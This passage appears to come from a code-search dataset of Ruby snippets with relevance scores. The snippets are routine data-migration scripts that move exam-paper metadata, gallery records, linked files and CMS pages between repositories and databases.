(MMath)\")\r\n\t\telse\r\n\t\t\ttypesToParse.push(t)\r\n\t\tend\r\n\tend\r\n\t\r\n\t# qualification names (object)\r\n\t#this now needs to handle multiple qualifications #KALE TODO\r\n\t#however it is also possible that there wil not be a qualification name given\r\n\tqualification_name_preflabels = common.get_qualification_name_preflabel(typesToParse)\t\r\n\t qualification_name_preflabels.each do |q|\r\n\t\tqname_id = common.get_resource_id('qualification_name',q.to_s)\r\n\t\t\texam.qualification_name_resource_ids+=[qname_id]\r\n\t\t\ttrackingfile.puts(\"got fedora id for the qualification name\"+ \" q.to_s, \" + Time.now.strftime('%Y-%m-%d_%H-%M-%S'))\r\n\tend\t\r\n\t\r\n\t#additional step for CEFR exams and foundation exams, add full name listing to descriptions\r\n\ttypesToParse.each do |t|\r\n\tt = t.to_s\r\n\ttd = t.downcase\r\n\t\tif td.include? \"cefr\"\r\n\t\t\texam.description += [td]\r\n\t\telsif td.include? \"foundation\"\r\n\t\t\texam.description += [td] \r\n\t\tend\r\n\tend\r\n\t# qualification levels (yml file). \r\n\ttypesToParse.each do |t|\t \r\n\ttype_to_test = t.to_s\r\n\t#qual_levels = common.get_qualification_level_term(type_to_test) \r\n\tqual_levels = []\r\n\tlevels = common.get_qualification_level_term(type_to_test)#returned as an array although in most cases there is just 1 or 0\r\n\tlevels.each do |level|\r\n\t\tif !qual_levels.include? level #avoid duplication\r\n\t\t\tqual_levels.push(level)\r\n\t\tend\t\r\n\tend\r\n\t\r\n\tqual_levels.each do |ql|\r\n\t\texam.qualification_level += [ql]\r\n\tend\r\n\t\r\n\r\n\t# now check for certain award types, and if found map to subjects (dc:subject not dc:11 subject)\r\n\t# resource Types map to dc:subject. at present the only official value is Dissertations, Academic\r\n\t#at present this should never return positive on the exam papers, the only type held is for theses dissertations (see \\lib\\assets\\lists\\subjects.csv\r\n\t#should something be added for exams? no element added in data model yet\r\n\texams = [ 'theses','Theses','Dissertations','dissertations' ] \r\n\tif exams.include? type_to_test\t\r\n\t# not using methods below yet - or are we? subjects[] no longer in model\r\n\t\tsubject_id = get_resource_id('subject',\"Dissertations, Academic\")\r\n\t\texams.subject_resource_ids +=[subject_id]\t\t \r\n\tend\r\nend\r\n\r\n # existing yodl exam records do not include any language data, but content team say safe to make the assumpion\r\n\t#it will always be english\r\n\t\r\n\t# this should return the key as that allows us to just search on the term\r\n\t#exams will always be english\r\n\tstandard_language = common.get_standard_language(\"English\")#capitalise first letter\t\t\r\n\texam.language+=[standard_language]\t\r\n\t\t\r\n\t\r\n\t#dc:description\r\n\tdescription = []\r\n\tdoc.xpath(\"//foxml:datastream[@ID='DC']/foxml:datastreamVersion[@ID='#{currentVersion}']/foxml:xmlContent/oai_dc:dc/dc:description/text()\",ns).each do |s|\r\n\t\tdescription.push(s.to_s)\r\n\tend\r\n\tdescription.each do |s|\r\n\t\texam.description+=[s]\r\n\tend\t\r\n\t\r\n\t# I am going to migrate this data element even though metadata team dont think it is neccesary because \"once theyre gone, theyre gone\" - we do not have to actually display these in the interface if we choose not to, however if it later appears there is a need for them after all, we still have them!\r\n\t# dc.keyword (formerly subject, as existing ones from migration are free text .\r\n\texam_subjects = []\r\n\tdoc.xpath(\"//foxml:datastream[@ID='DC']/foxml:datastreamVersion[@ID='#{currentVersion}']/foxml:xmlContent/oai_dc:dc/dc:subject/text()\",ns).each do |s|\r\n\texam_subjects.push(s.to_s)\r\n\tend\r\n\t#subjects in dc are keywords in samvera model\r\n\texam_subjects.each do |s|\r\n\t\ts.gsub!(\"&amp;\",\"&\")\r\n\t\texam.keyword+=[s] \r\n\tend\t\r\n\t\r\n\tdate = []\r\n\tdoc.xpath(\"//foxml:datastream[@ID='DC']/foxml:datastreamVersion[@ID='#{currentVersion}']/foxml:xmlContent/oai_dc:dc/dc:date/text()\",ns).each do |s|\r\n\t\tdate.push(s.to_s)\r\n\tend\r\n\tdate.each do |d|\r\n\t\texam.date+=[d]\r\n\tend\t\r\n\t\r\n\t# rights.\t\r\n\t# rights holder 0...1\r\n\t# checked data on dlib. all have the same rights statement and url cited, so this should work fine, as everything else is rights holders \r\n exam_rightsholder = doc.xpath(\"//foxml:datastream[@ID='DC']/foxml:datastreamVersion[@ID='#{currentVersion}']/foxml:xmlContent/oai_dc:dc/dc:rights/text()[not(contains(.,'http')) and not (contains(.,'licenses')) ]\",ns).to_s\r\n if exam_rightsholder.length > 0\r\n\texam.rights_holder=[exam_rightsholder] \r\n end\r\n\t# license set a default which will be overwritten if one is found. its the url, not the statement. use licenses.yml not rights_statement.yml\r\n\t# For full york list see https://dlib.york.ac.uk/yodl/app/home/licences. edit in rights.yml\r\n\tdefaultLicence = \"http://dlib.york.ac.uk/licences#yorkrestricted\"\r\n\texam_rights = defaultLicence\r\n\texam_rights = doc.xpath(\"//foxml:datastream[@ID='DC']/foxml:datastreamVersion[@ID='#{currentVersion}']/foxml:xmlContent/oai_dc:dc/dc:rights/text()[contains(.,'http')]\",ns).to_s\r\n\t\r\n\tnewrights = common.get_standard_rights(exam_rights)\t\r\n\t\tif newrights.length > 0\r\n\t\texam_rights = newrights\r\n\t\t\texam.rights=[exam_rights]\t\t\t\r\n\t\tend\t\r\n\t\r\n\t#check the collection exists before saving and putting in collection\r\n\t# save\t\r\n\t#NOTE TO SELF: it might be possible to simply check we have a value back for parentcol\r\n\ttrackingfile.puts(\"checking the parent collection is present in fedora mapping.\"+ \" \" + Time.now.strftime('%Y-%m-%d_%H-%M-%S'))\r\n\t#if Object::Collection.exists?(parentcol.to_s)\r\n\tif defined?(parentcol.to_s)\r\n\ttrackingfile.puts(\"about to save the exam_paper object\"+ \" \" + Time.now.strftime('%Y-%m-%d_%H-%M-%S'))\r\n\tputs \"about to save the exam_paper object\" \r\n\t\texam.save! #fails here\r\n\t\tputs \"finished saving the exam paper object\"\r\n\t\ttrackingfile.puts(\"finished saving the exam paper object\"+ \" \" + Time.now.strftime('%Y-%m-%d_%H-%M-%S'))\r\n\t\tid = exam.id\r\n\t\tputs \"exam id was \" +id \r\n\t\tputs \"parent col was \" + parentcol.to_s\r\n\t\tcol = Object::Collection.find(parentcol.to_s)\r\n\t\tputs \"id of col was:\" +col.id\r\n\t\tputs \" collection title was \" + col.title[0].to_s\r\n\t\tcol.members << exam \r\n\t\t#col.save! #CHOSS!\r\n\telse\r\n\t\tputs \"couldnt find collection \" + parentcol.to_s\r\n\t\tresult = 3\r\n\t\treturn result\r\n\tend\r\n\t\r\n\t\t\r\n\t# this is the section that keeps failing\r\n\t#NOTE TO SELF can we make this more efficient?\r\n\tusers = Object::User.all #otherwise it will use one of the included modules\r\n\tuser_object = users[0]\r\n\t\r\n\t#check we do have a main EXAM_PAPER before trying to add it\r\n\tif pdf_loc.length > 0\r\n\t\tbegin\r\n\t\t\t# see https://github.com/pulibrary/plum/blob/master/app/jobs/ingest_mets_job.rb#L54 and https://github.com/pulibrary/plum/blob/master/lib/tasks/ingest_mets.rake#L3-L4\r\n\t\t\t#mfset.filetype = 'externalurl'\r\n\t\t\tmfset.filetype = 'managed' #ie streamed from apache\r\n\t\t\tmfset.title = [\"EXAM_PAPER\"]\t#needs to be same label as content file in foxml \r\n\t\t\tmfset.label = externalpdflabel\r\n\t\t\t# add the external content URL\r\n\t\t\tmfset.external_file_url = externalpdfurl\r\n\t\t\ttrackingfile.puts(\"Getting FileSetActor\"+ \" \" + Time.now.strftime('%Y-%m-%d_%H-%M-%S'))\r\n\t\t\tactor = CurationConcerns::Actors::FileSetActor.new(mfset, user_object)\r\n\t\t\ttrackingfile.puts(\" FileSetActor now creating metadata for fileset\"+ \" \" + Time.now.strftime('%Y-%m-%d_%H-%M-%S'))\r\n\t\t\tactor.create_metadata(exam)\r\n\t\t\t#Declare file as external resource\r\n\t\t\ttrackingfile.puts(\"Hydra::Works::AddExternalFileToFileSet adds url of external file to fileset metadata \"+ \" \" + Time.now.strftime('%Y-%m-%d_%H-%M-%S'))\r\n\t\t\t#NOTE TO SELF should the url now rerad \"managed\" since the name has changed?\r\n\t\t\t#this affects the fromt end so at present does not need changing to 'managed' to match the fileset urltype\r\n\t\t\tHydra::Works::AddExternalFileToFileSet.call(mfset, externalpdfurl, 'external_url')\r\n\t\t\tif yorkaccess == 'DENY'\r\n\t\t\t\tmfset.permissions = [Hydra::AccessControls::Permission.new({:name=> \"admin\", :type=>\"group\", :access=>\"read\"}), Hydra::AccessControls::Permission.new({:name=>\"admin\", :type=> \"group\", :access => \"edit\"})]\r\n\t\t\telse\r\n\t\t\t\tmfset.permissions = [Hydra::AccessControls::Permission.new({:name=> \"york\", :type=>\"group\", :access=>\"read\"}), Hydra::AccessControls::Permission.new({:name=>\"admin\", :type=> \"group\", :access => \"edit\"})]\r\n\t\t\tend \r\n\t\t\t\r\n\t\t\texam.depositor = user\r\n\t\t\tmfset.depositor = user\r\n\t\t\ttrackingfile.puts(\" saving fileset fileset\"+ \" \" + Time.now.strftime('%Y-%m-%d_%H-%M-%S'))\r\n\t\t\tmfset.save!\r\n\t\t\tputs \"fileset \" + mfset.id + \" saved\" \r\n\t\t\ttrackingfile.puts(\" now saved fileset \"+ \" \" + Time.now)\t\t\t\r\n\t\t\t# CHOSS this is here because the system tended to lock up during multiple uploads - suspect competition for resources or threading issue somewhere\r\n\t\t\t#sleep 5 \t\t\t\t\r\n\t\t\ttrackingfile.puts(\" setting fileset as exam mainfile \"+ \" \" + Time.now.strftime('%Y-%m-%d_%H-%M-%S'))\r\n\t\t\texam.mainfile << mfset\r\n\t\t\ttrackingfile.puts(\" now set fileset as exam mainfile \"+ \" \" + Time.now.strftime('%Y-%m-%d_%H-%M-%S'))\r\n\t\t\t#sleep 5 \r\n\t\t\ttrackingfile.puts(\" saving completed exam \"+ \" \" + Time.now.strftime('%Y-%m-%d_%H-%M-%S'))\r\n\t\t\texam.save!\t\t \r\n\t\t\ttrackingfile.puts(\" finished saving completed exam \"+ \" \" + Time.now.strftime('%Y-%m-%d_%H-%M-%S'))\r\n\t\trescue\r\n\t\t\tputs \"QUACK QUACK OOPS! addition of external file unsuccesful\"\r\n\t\t\tresult = 4\r\n\t\t\treturn result\t\t\r\n\t\tend \r\n\t\tputs \"all done for external content mainfile \" + id\r\n trackingfile.puts(\"all done for external content mainfile \" + id+ \" \" + Time.now.strftime('%Y-%m-%d_%H-%M-%S'))\t\t\r\n\tend\r\n\r\n\r\n# process external EXAM_ADDITIONAL files (not edited for exams, just keeping for reference)\r\nfor key in additional_filesets.keys() do\t\t\r\n\t\tadditional_exam_file_fs = additional_filesets[key]\t\t\r\n\t\t#add metadata to make fileset appear as a child of the object\r\n actor = CurationConcerns::Actors::FileSetActor.new(additional_exam_file_fs, user_object)\r\n actor.create_metadata(exam)\r\n\t\t#Declare file as external resource\r\n\t\turl = additional_exam_file_fs.external_file_url\r\n Hydra::Works::AddExternalFileToFileSet.call(additional_exam_file_fs, url, 'external_url')\r\n additional_exam_file_fs.save!\r\n\t\texam.members << additional_exam_file_fs\r\n exam.save!\r\n\t\tputs \"all done for additional file \" + key\r\nend\r\n\t#when done, explicity reset big things to empty to ensure resources not hung on to\r\n\tadditional_filesets = {} \r\n doc = nil\r\n\tmapping_text = nil\r\n\tcollection_mappings = {}\t\r\n\tif result != 2\r\n\t\tresult = 0 #this needs to happen last\r\n\tend\r\n\ttrackingfile.puts( \"finished\" + \" \" + Time.now.strftime('%Y-%m-%d_%H-%M-%S'))\r\n\ttrackingfile.close\r\n\tputs \"finished\"\r\n return result # give it a return value\r\nend", "title": "" }, { "docid": "6ceaf3c9b18766f9e1ffe8591f11f81e", "score": "0.57624125", "text": "def migrate_user_call_to_actions(source_db_tenant, destination_db_tenant, source_db_connection, destination_db_connection, users_id_map, core_custom_galleries_tags_id)\n source_galleries = source_db_connection.exec(\"SELECT * FROM core_galleries ORDER BY parent_custom_gallery_id\")\n source_galleries_count = source_galleries.count\n\n puts \"user_call_to_actions: #{source_galleries_count} lines to migrate \\nRunning migration...\"\n STDOUT.flush\n lines_step, next_step = init_progress(source_galleries_count)\n\n count = 0\n rows_with_user_missing = 0\n user_call_to_actions_id_map = Hash.new\n\n ugc_tag_id = destination_db_connection.exec(\"SELECT id FROM #{destination_db_tenant.nil? ? \"\" : destination_db_tenant + \".\"}tags where name = 'ugc'\").values[0][0].to_i\n\n source_galleries.each do |line|\n\n fields_for_releasing_files = {\n #\"id\" =>\n \"created_at\" => Time.now.utc.strftime(\"%Y-%m-%d %H:%M:%S\"),\n \"updated_at\" => Time.now.utc.strftime(\"%Y-%m-%d %H:%M:%S\"),\n \"file_file_name\" => nullify_or_escape_string(source_db_connection, line[\"release_file_name\"]),\n \"file_content_type\" => nullify_or_escape_string(source_db_connection, line[\"release_content_type\"]),\n \"file_file_size\" => line[\"release_file_size\"] != nil ? line[\"release_file_size\"] : \"NULL\",\n \"file_updated_at\" => line[\"release_updated_at\"] != nil ? nullify_or_escape_string(source_db_connection, line[\"release_updated_at\"]) : \"NULL\"\n }\n \n query_for_releasing_files = build_query_string(destination_db_tenant, \"releasing_files\", fields_for_releasing_files)\n destination_db_connection.exec(query_for_releasing_files)\n\n new_user_id = users_id_map[line[\"user_id\"].to_i]\n if new_user_id.nil?\n rows_with_user_missing += 1\n else\n description = nullify_or_escape_string(source_db_connection, line[\"description\"])\n updated_at = nullify_or_escape_string(source_db_connection, line[\"updated_at\"])\n\n fields_for_call_to_actions = {\n #\"id\" => line[\"id\"].to_i,\n \"name\" => nullify_or_escape_string(source_db_connection, \"id#{line[\"id\"]}\".gsub(\" \", \"\")),\n \"title\" => description.length > 100 ? nullify_or_escape_string(source_db_connection, description[0..100] + \"...\") : description,\n \"description\" => description,\n \"media_type\" => \"IMAGE\",\n \"enable_disqus\" => \"f\",\n \"activated_at\" => line[\"published_at\"] != nil ? nullify_or_escape_string(source_db_connection, line[\"published_at\"]) : \"NULL\",\n \"secondary_id\" => \"NULL\",\n \"created_at\" => nullify_or_escape_string(source_db_connection, line[\"created_at\"]),\n \"updated_at\" => updated_at,\n \"slug\" => \"NULL\",\n \"media_image_file_name\" => nullify_or_escape_string(source_db_connection, line[\"picture_file_name\"]),\n \"media_image_content_type\" => nullify_or_escape_string(source_db_connection, line[\"picture_content_type\"]),\n \"media_image_file_size\" => line[\"cta_image_file_size\"] != nil ? line[\"picture_file_size\"] : \"NULL\",\n \"media_image_updated_at\" => line[\"cta_image_updated_at\"] != nil ? nullify_or_escape_string(source_db_connection, line[\"picture_updated_at\"]) : \"NULL\",\n \"media_data\" => \"NULL\",\n \"releasing_file_id\" => destination_db_connection.exec(\"SELECT currval('#{destination_db_tenant.nil? ? \"\" : destination_db_tenant + \".\"}releasing_files_id_seq')\").values[0][0].to_i,\n \"approved\" => line[\"published_at\"] != nil ? \"t\" : \"f\",\n \"thumbnail_file_name\" => \"NULL\",\n \"thumbnail_content_type\" => \"NULL\",\n \"thumbnail_file_size\" => \"NULL\",\n \"thumbnail_updated_at\" => \"NULL\",\n \"user_id\" => new_user_id, # could it be null?\n \"aux\" => \"{}\"\n }\n \n query_for_call_to_actions = build_query_string(destination_db_tenant, \"call_to_actions\", fields_for_call_to_actions)\n \n destination_db_connection.exec(query_for_call_to_actions)\n user_call_to_actions_id_map.store(line[\"id\"].to_i, destination_db_connection.exec(\"SELECT currval('#{destination_db_tenant.nil? ? \"\" : destination_db_tenant + \".\"}call_to_actions_id_seq')\").values[0][0].to_i)\n \n new_cta_id = destination_db_connection.exec(\"SELECT currval('#{destination_db_tenant.nil? ? \"\" : destination_db_tenant + \".\"}call_to_actions_id_seq')\").values[0][0].to_i\n if line[\"parent_custom_gallery_id\"] != \"NULL\"\n create_call_to_action_tag_gallery(source_db_tenant, destination_db_tenant, destination_db_connection, new_cta_id, core_custom_galleries_tags_id[line[\"parent_custom_gallery_id\"]])\n end\n\n create_call_to_action_tag(source_db_tenant, destination_db_tenant, source_db_connection, destination_db_connection, new_cta_id, ugc_tag_id, updated_at)\n\n count += 1\n next_step = print_progress(count, lines_step, next_step, source_galleries_count)\n end\n end\n puts \"#{count} lines successfully migrated \\n#{rows_with_user_missing} rows had dangling reference to user \\n\"\n write_table_id_mapping_to_file(source_db_tenant, \"user_call_to_actions\", user_call_to_actions_id_map)\n return user_call_to_actions_id_map\nend", "title": "" }, { "docid": "b25833d89f980628745f038b4c3018d5", "score": "0.576026", "text": "def copy_files\n migration_template 'create_content_blobs.rb', 'db/migrate/create_content_blobs.rb'\n end", "title": "" }, { "docid": "36ec1ca19d214ab59b61790241d351ca", "score": "0.5729902", "text": "def migrate_files(body, destination_path) # , doc_url)\n if(@encoding)\n doc = Nokogiri::HTML(body,nil, @encoding)\n else\n doc = Nokogiri::HTML(body)\n end\n\n # Upload images to vortex server:\n doc.css(\"img\").each do |image|\n file_uri = image.attr(\"src\")\n\n if(file_uri[/^\\./])\n file_uri = Pathname.new(doc_url).parent + file_uri\n end\n\n uri = nil\n begin\n uri = URI.parse(file_uri.to_s)\n rescue\n puts \"Logging error: Unparseable link : \" + file_uri\n log_error('unparseable-link-in-file',file_uri)\n end\n\n content = nil\n if(uri and migrate_linked_file?(uri))\n uri = URI.join(@src_hosts[0],uri)\n\n timeout(15) do # Make open-uri timeout\n begin\n puts \"Downloading \" + uri.to_s if(@debug)\n content = open(uri.to_s).read\n rescue\n puts \"Error: Timeout: \" + uri.to_s\n log_error('timed-out',uri.to_s)\n end\n end\n\n if(content)\n basename = Pathname.new(uri.path).basename.to_s\n destination_filename = destination_path + '/' + basename\n destination_filename = destination_filename.gsub(\"//\",\"/\")\n if(not(@vortex.exists?(destination_filename)))\n begin\n destination_path = Pathname.new(destination_filename).parent.to_s\n # puts \"Debug: destination path: \" + destination_path\n if(not(@vortex.exists?(destination_path)))\n begin\n @vortex.create_path(destination_path)\n rescue => e\n puts \"Unable to create path.\"\n puts e.inspect\n binding.pry\n end\n end\n @vortex.put_string(destination_filename, content)\n rescue => e\n puts \"Destination folder for article does not exists.\"\n puts e.inspect\n binding.pry\n end\n else\n puts \"Warning: File exists \" + destination_filename\n log_error('file-exists',destination_filename)\n end\n\n else\n puts \"Logging error: File not found : \" + uri.to_s if(@debug)\n log_error('file-not-found',uri.to_s)\n end\n end\n\n basename = Pathname.new(file_uri).basename.to_s\n image.set_attribute(\"src\",basename)\n end\n\n # Upload files, everything that's not a document, to vortex server:\n doc.css(\"a\").each do |link|\n href = link.attr(\"href\")\n if(href and not(href[/^\\#/]))\n file_uri = href.to_s.sub(/(#|\\?).*/,'')\n\n uri = nil\n begin\n uri = URI.parse(href)\n rescue\n puts \"Logging error: Unparseable link : \" + href\n log_error('unparseable-link-in-file',file_uri)\n end\n\n if(uri.host and uri.host != URI.parse(@src_url).host)\n # Do not change links to external sites\n elsif(isArticle?(uri.path))\n # The link is to a another migrated page. Determin new destination url and make link relative.\n link_to_article_path = URI.parse(@dest_url + extract_filename(uri.path)).path\n link_from_article_path = URI.parse(@dest_url + extract_filename(@doc_url)).path\n link.set_attribute(\"href\", relative_url(link_from_article_path, link_to_article_path))\n elsif(uri and migrate_linked_file?(uri) )\n upload_file(file_uri, uri, destination_path)\n basename = Pathname.new(file_uri).basename.to_s\n link.set_attribute(\"href\",basename)\n end\n\n end\n end\n\n if(doc.css(\"html\"))\n return doc.css(\"body\").inner_html.to_s\n else\n return doc.to_s\n end\n\n end", "title": "" }, { "docid": "473c2fc0c3bf6914ea7c478d1bf9e457", "score": "0.57043344", "text": "def perform_migration(file_name, folder_name)\n\n $file_path = file_name\n puts \"Path to file is: #{$file_path}\"\n # create folder\n create_folder(folder_name)\n\n #import the content\n import_content\n\nend", "title": "" }, { "docid": "d51f8b3bcf5c0fcda8cb76f033afb901", "score": "0.56736296", "text": "def copy_migrations\n # Can't get this any more DRY, because we need this order.\n [\n 'create_tinymce_assets.rb',\n 'create_content_blocks.rb',\n 'create_featured_works.rb'\n ].each do |file|\n better_migration_template file\n end\n end", "title": "" }, { "docid": "5202810836d9c93378b7c9237ab73cf1", "score": "0.56042564", "text": "def configure_migration(task,\n migrationFile,\n vendorName,\n businessType,\n dataFilePath,\n\t\t\t count,\n city_name = 0,\n branch_name = 0,\n\t\t\t subCategories = 0,\n\t\t\t monetizationType = 0,\n\t\t\t subscribedDate = 0, \n vendorLogo = 0,\n vendorWebsite = 0,\n vendorEmail = 0,\n vendorPhone = 0,\n\t\t\t vendorFax = 0,\n vendorAddress = 0,\n latitude = 0,\n longitude = 0, \n description = 0,\n working_time = 0,\n miscellaneous = 0,\n\t\t\t trial_flag = 0)\n text = File.read(migrationFile)\n\n if task == \"add\"\n\tif businessType == \"local\"\n\n\ttext.gsub!(/<<vendor_name>>/,vendorName.downcase).gsub!(/<<business_type>>/,businessType).gsub!(/<<class_vendor_type>>/,businessType.capitalize).gsub!(/<<class_vendor_name>>/,vendorName.capitalize).gsub!(/<<vendor_logo>>/,vendorLogo).gsub!(/<<vendor_website>>/,vendorWebsite).gsub!(/<<vendor_email>>/,vendorEmail).gsub!(/<<vendor_phone>>/,vendorPhone).gsub!(/<<vendor_fax>>/,vendorFax).gsub!(/<<vendor_address>>/,vendorAddress).gsub!(/<<city_name>>/,city_name).gsub!(/<<branch_name>>/,branch_name).gsub!(/<<latitude>>/,latitude).gsub!(/<<longitude>>/,longitude).gsub!(/<<class_city_name>>/,city_name.capitalize).gsub!(/<<class_branch_name>>/,branch_name.capitalize).gsub!(/<<sub_categories>>/,subCategories).gsub!(/<<monetization_type>>/,monetizationType).gsub!(/<<subscribed_date>>/,subscribedDate).gsub!(/<<vendor_description>>/,description).gsub!(/<<working_time>>/,working_time).gsub!(/<<miscellaneous>>/,miscellaneous).gsub!(/<<capitalized_vendor_name>>/,vendorName).gsub!(/<<trial_flag>>/,trial_flag)\n\n\n\n\n\telsif businessType == \"online\"\n\n\ttext.gsub!(/<<vendor_name>>/,vendorName.downcase).gsub!(/<<business_type>>/,businessType).gsub!(/<<class_vendor_type>>/,businessType.capitalize).gsub!(/<<class_vendor_name>>/,vendorName.capitalize).gsub!(/<<vendor_logo>>/,vendorLogo).gsub!(/<<vendor_website>>/,vendorWebsite).gsub!(/<<vendor_email>>/,vendorEmail).gsub!(/<<vendor_phone>>/,vendorPhone).gsub!(/<<vendor_fax>>/,vendorFax).gsub!(/<<vendor_address>>/,vendorAddress).gsub!(/<<city_name>>/,city_name).gsub!(/<<branch_name>>/,branch_name).gsub!(/<<latitude>>/,latitude).gsub!(/<<longitude>>/,longitude).gsub!(/<<sub_categories>>/,subCategories).gsub!(/<<monetization_type>>/,monetizationType).gsub!(/<<subscribed_date>>/,subscribedDate).gsub!(/<<vendor_description>>/,description).gsub!(/<<working_time>>/,working_time).gsub!(/<<miscellaneous>>/,miscellaneous).gsub!(/<<capitalized_vendor_name>>/,vendorName).gsub!(/<<trial_flag>>/,trial_flag)\n\n\telse\n\tabort(\"Error while doing GSUB in add task\")\n\tend\n\n elsif task == \"load\"\n\n\tif businessType == \"online\"\n\n\t text.gsub!(/<<data_file_path>>/,dataFilePath).gsub!(/<<table_name>>/,businessType+\"_\"+vendorName.downcase+\"_\"+\"products\").gsub!(/<<class_vendor_type>>/,businessType.capitalize).gsub!(/<<class_vendor_name>>/,vendorName.capitalize).gsub!(/<<count>>/,count)\n\n\telsif businessType == \"local\"\n\n\t text.gsub!(/<<data_file_path>>/,dataFilePath).gsub!(/<<table_name>>/,businessType+\"_\"+city_name+\"_\"+branch_name+\"_\"+vendorName.downcase+\"_\"+\"products\").gsub!(/<<class_vendor_type>>/,businessType.capitalize).gsub!(/<<class_vendor_name>>/,vendorName.capitalize).gsub!(/<<class_city_name>>/,city_name.capitalize).gsub!(/<<class_branch_name>>/,branch_name.capitalize).gsub!(/<<count>>/,count)\n\n\n\telse\n\tabort(\"Error while doing GSUB in load task\")\n\tend\n\n else\n abort(\"Error with Configure Migration method\")\n end\n\n File.open(migrationFile, 'w') { |f| f.write(text) }\n\n puts \"The generated migration has been configured!\"\n end", "title": "" }, { "docid": "ec41e9653ed855ef9923637c51b49d50", "score": "0.5575051", "text": "def copy_migrations\n [\n 'create_tinymce_assets.rb',\n 'create_content_blocks.rb',\n 'create_featured_works.rb'\n ].each do |file|\n better_migration_template file\n end\n end", "title": "" }, { "docid": "3a7270177044985650b77032bfd7ce6c", "score": "0.5570854", "text": "def migrations_paths=(_arg0); end", "title": "" }, { "docid": "3a7270177044985650b77032bfd7ce6c", "score": "0.5570854", "text": "def migrations_paths=(_arg0); end", "title": "" }, { "docid": "30aa5c03e0916471c5328021322d2498", "score": "0.54924136", "text": "def update_content(db, orig_content, new_content)\r\n\tdb.execute(\"UPDATE tasks SET content=\\\"#{new_content}\\\" WHERE content=\\\"#{orig_content}\\\"\")\r\nend", "title": "" }, { "docid": "0acc2ca578dfe3aa189c9f7466d9945c", "score": "0.5424282", "text": "def up\n add_column :ci_job_artifacts, :original_filename, :text\n end", "title": "" }, { "docid": "9bfae4aae5eef3f6ff44207a1587805b", "score": "0.5420166", "text": "def assert_migration(relative, *contents, &block); end", "title": "" }, { "docid": "cc7294d9d48467cb204d068cca463888", "score": "0.5384403", "text": "def migrate_file_csv(orig_path, new_path, title, template, encoding)\n rr_output_file_path = new_path.sub(OUTPUT_EXTENSION, \".pcf\")\n output_file_path = OUTPUT_ROOT + OUTPUT_PUB_DIR + rr_output_file_path\n puts \"output_file_path: \" + output_file_path\n @log.puts \"output_file_path: \" + output_file_path\n \n orig_path = SOURCE_ROOT + orig_path\n rr_dir = rr_output_file_path.rpartition('/')[0]\n \n create_directory(output_file_path) #create directory if needed\n \n puts \"orig_path: \" + orig_path\n @log.puts \"orig_path: \" + orig_path\n \n if File.file?(orig_path)\n puts \"Source page exists.\"\n @log.puts \"Source page exists.\"\n \n File.open(orig_path, \"r:#{encoding}\") do |html_file|\n\n # this will sometimes fail and should be rescued\n html_doc = Nokogiri.HTML(html_file)\n html_doc = Nokogiri.HTML(html_doc.to_s.encode(\"UTF-8\"))\n \n if title == nil or title == \"\"\n title = html_doc.xpath(\"//title/node()\").to_s\n end\n # content = html_doc.xpath(\"//div[@id='content']/node()\").to_xhtml.gsub(/<!--[\\s\\S]*?-->/, \"\")\n content = get_content(html_doc)\n \n # @log.puts \"HTML Content: \" + content #for debugging\n \n #create the page depending on the template given\n if template == \"home\"\n #home page\n puts \"Template: home page\"\n @log.puts \"Template: home page\"\n \n doc_data = {\"title\" => title}\n @fp_home.punch_file(output_file_path, doc_data)\n \n puts \"Wrote new file at: #{output_file_path}\"\n @log.puts \"Wrote new file at: #{output_file_path}\"\n \n elsif template == \"full width\"\n #full width page\n puts \"Template: full width page\"\n @log.puts \"Template: full width page\"\n \n sidebar_disp = '<parameter name=\"sidebarDisplay\" prompt=\"Sidebar Display\" alt=\"Choose to show or hide the sidebar.\" type=\"select\">\n <option value=\"show\" selected=\"false\">Show</option>\n <option value=\"hide\" selected=\"true\">Hide</option>\n </parameter>';\n \n doc_data = {\"title\" => title, \"sidebar_disp\" => sidebar_disp}\n @fp_interior.punch_file(output_file_path, doc_data)\n \n puts \"Wrote new file at: #{output_file_path}\"\n @log.puts \"Wrote new file at: #{output_file_path}\"\n \n elsif template == \"interior\"\n #interior page\n puts \"Template: interior page\"\n @log.puts \"Template: interior page\"\n \n sidebar_disp = '<parameter name=\"sidebarDisplay\" prompt=\"Sidebar Display\" alt=\"Choose to show or hide the sidebar.\" type=\"select\">\n <option value=\"show\" selected=\"true\">Show</option>\n <option value=\"hide\" selected=\"false\">Hide</option>\n </parameter>';\n \n doc_data = {\"title\" => title, \"sidebar_disp\" => sidebar_disp}\n @fp_interior.punch_file(output_file_path, doc_data)\n \n puts \"Wrote new file at: #{output_file_path}\"\n @log.puts \"Wrote new file at: #{output_file_path}\"\n \n else\n puts \"Template not found!\"\n @log.puts \"Template not found!\"\n \n #copy file over as-is if no template found\n puts \"filepath: \" + orig_path\n puts \"new_path: \" + new_path\n copy_file(orig_path, OUTPUT_ROOT + OUTPUT_PUB_DIR + new_path)\n end\n \n #we're done writing pages, now add to the nav\n @sidenav_file_maker.write_link(OUTPUT_PUB_DIR + new_path, title)\n \n #if it's the index page, create the props file\n if new_path.rpartition('/')[2] == INDEX_NAME + OUTPUT_EXTENSION\n props_path = rr_output_file_path.rpartition('/')[0] + PROPS_FILENAME\n @props_file_maker.write(OUTPUT_PUB_DIR + props_path, title)\n end\n end\n else\n puts \"Source file does not exist: \" + orig_path\n @log.puts \"Source file does not exist: \" + orig_path\n \n @missing_pages_arr[@missing_pages_arr_index] = orig_path.partition(SOURCE_ROOT)[2]\n @missing_pages_arr_index = @missing_pages_arr_index + 1\n end\nend", "title": "" }, { "docid": "e0d7e90f7d7a453aab6041e8a1c6b7f8", "score": "0.53588104", "text": "def ingest_legacy_content( depositor, dirname, current, total )\n\n assets = IngestHelpers.get_document_assets( dirname )\n puts \"Ingesting #{current} of #{total}: #{File.basename( dirname )} (#{assets.length} assets)...\"\n\n work_id = IngestHelpers.get_legacy_ingest_id(dirname )\n if work_id.blank?\n puts \"ERROR: no work id for #{File.basename( dirname )}, continuing anyway\"\n return false\n end\n\n work = TaskHelpers.get_work_by_id( work_id )\n if work.nil?\n puts \"ERROR: work #{work_id} does not exist, continuing anyway\"\n return false\n end\n\n # and upload each file\n assets.each do |asset|\n fileset = TaskHelpers.upload_file( depositor, work, File.join( dirname, asset[ :title ] ), asset[ :title ] )\n fileset.date_uploaded = DateTime.parse( asset[ :timestamp ] )\n fileset.save!\n end\n\n return true\n end", "title": "" }, { "docid": "55a9699b6084c1f071fa4a43c7118dc8", "score": "0.5331572", "text": "def migrate_publications\n doc = Nokogiri::HTML(open('http://www.cancerbiomed.net/publications/'))\n\n doc.css(\".subContent h3 > a\").each do |link|\n @debug = true\n\n @doc_url = 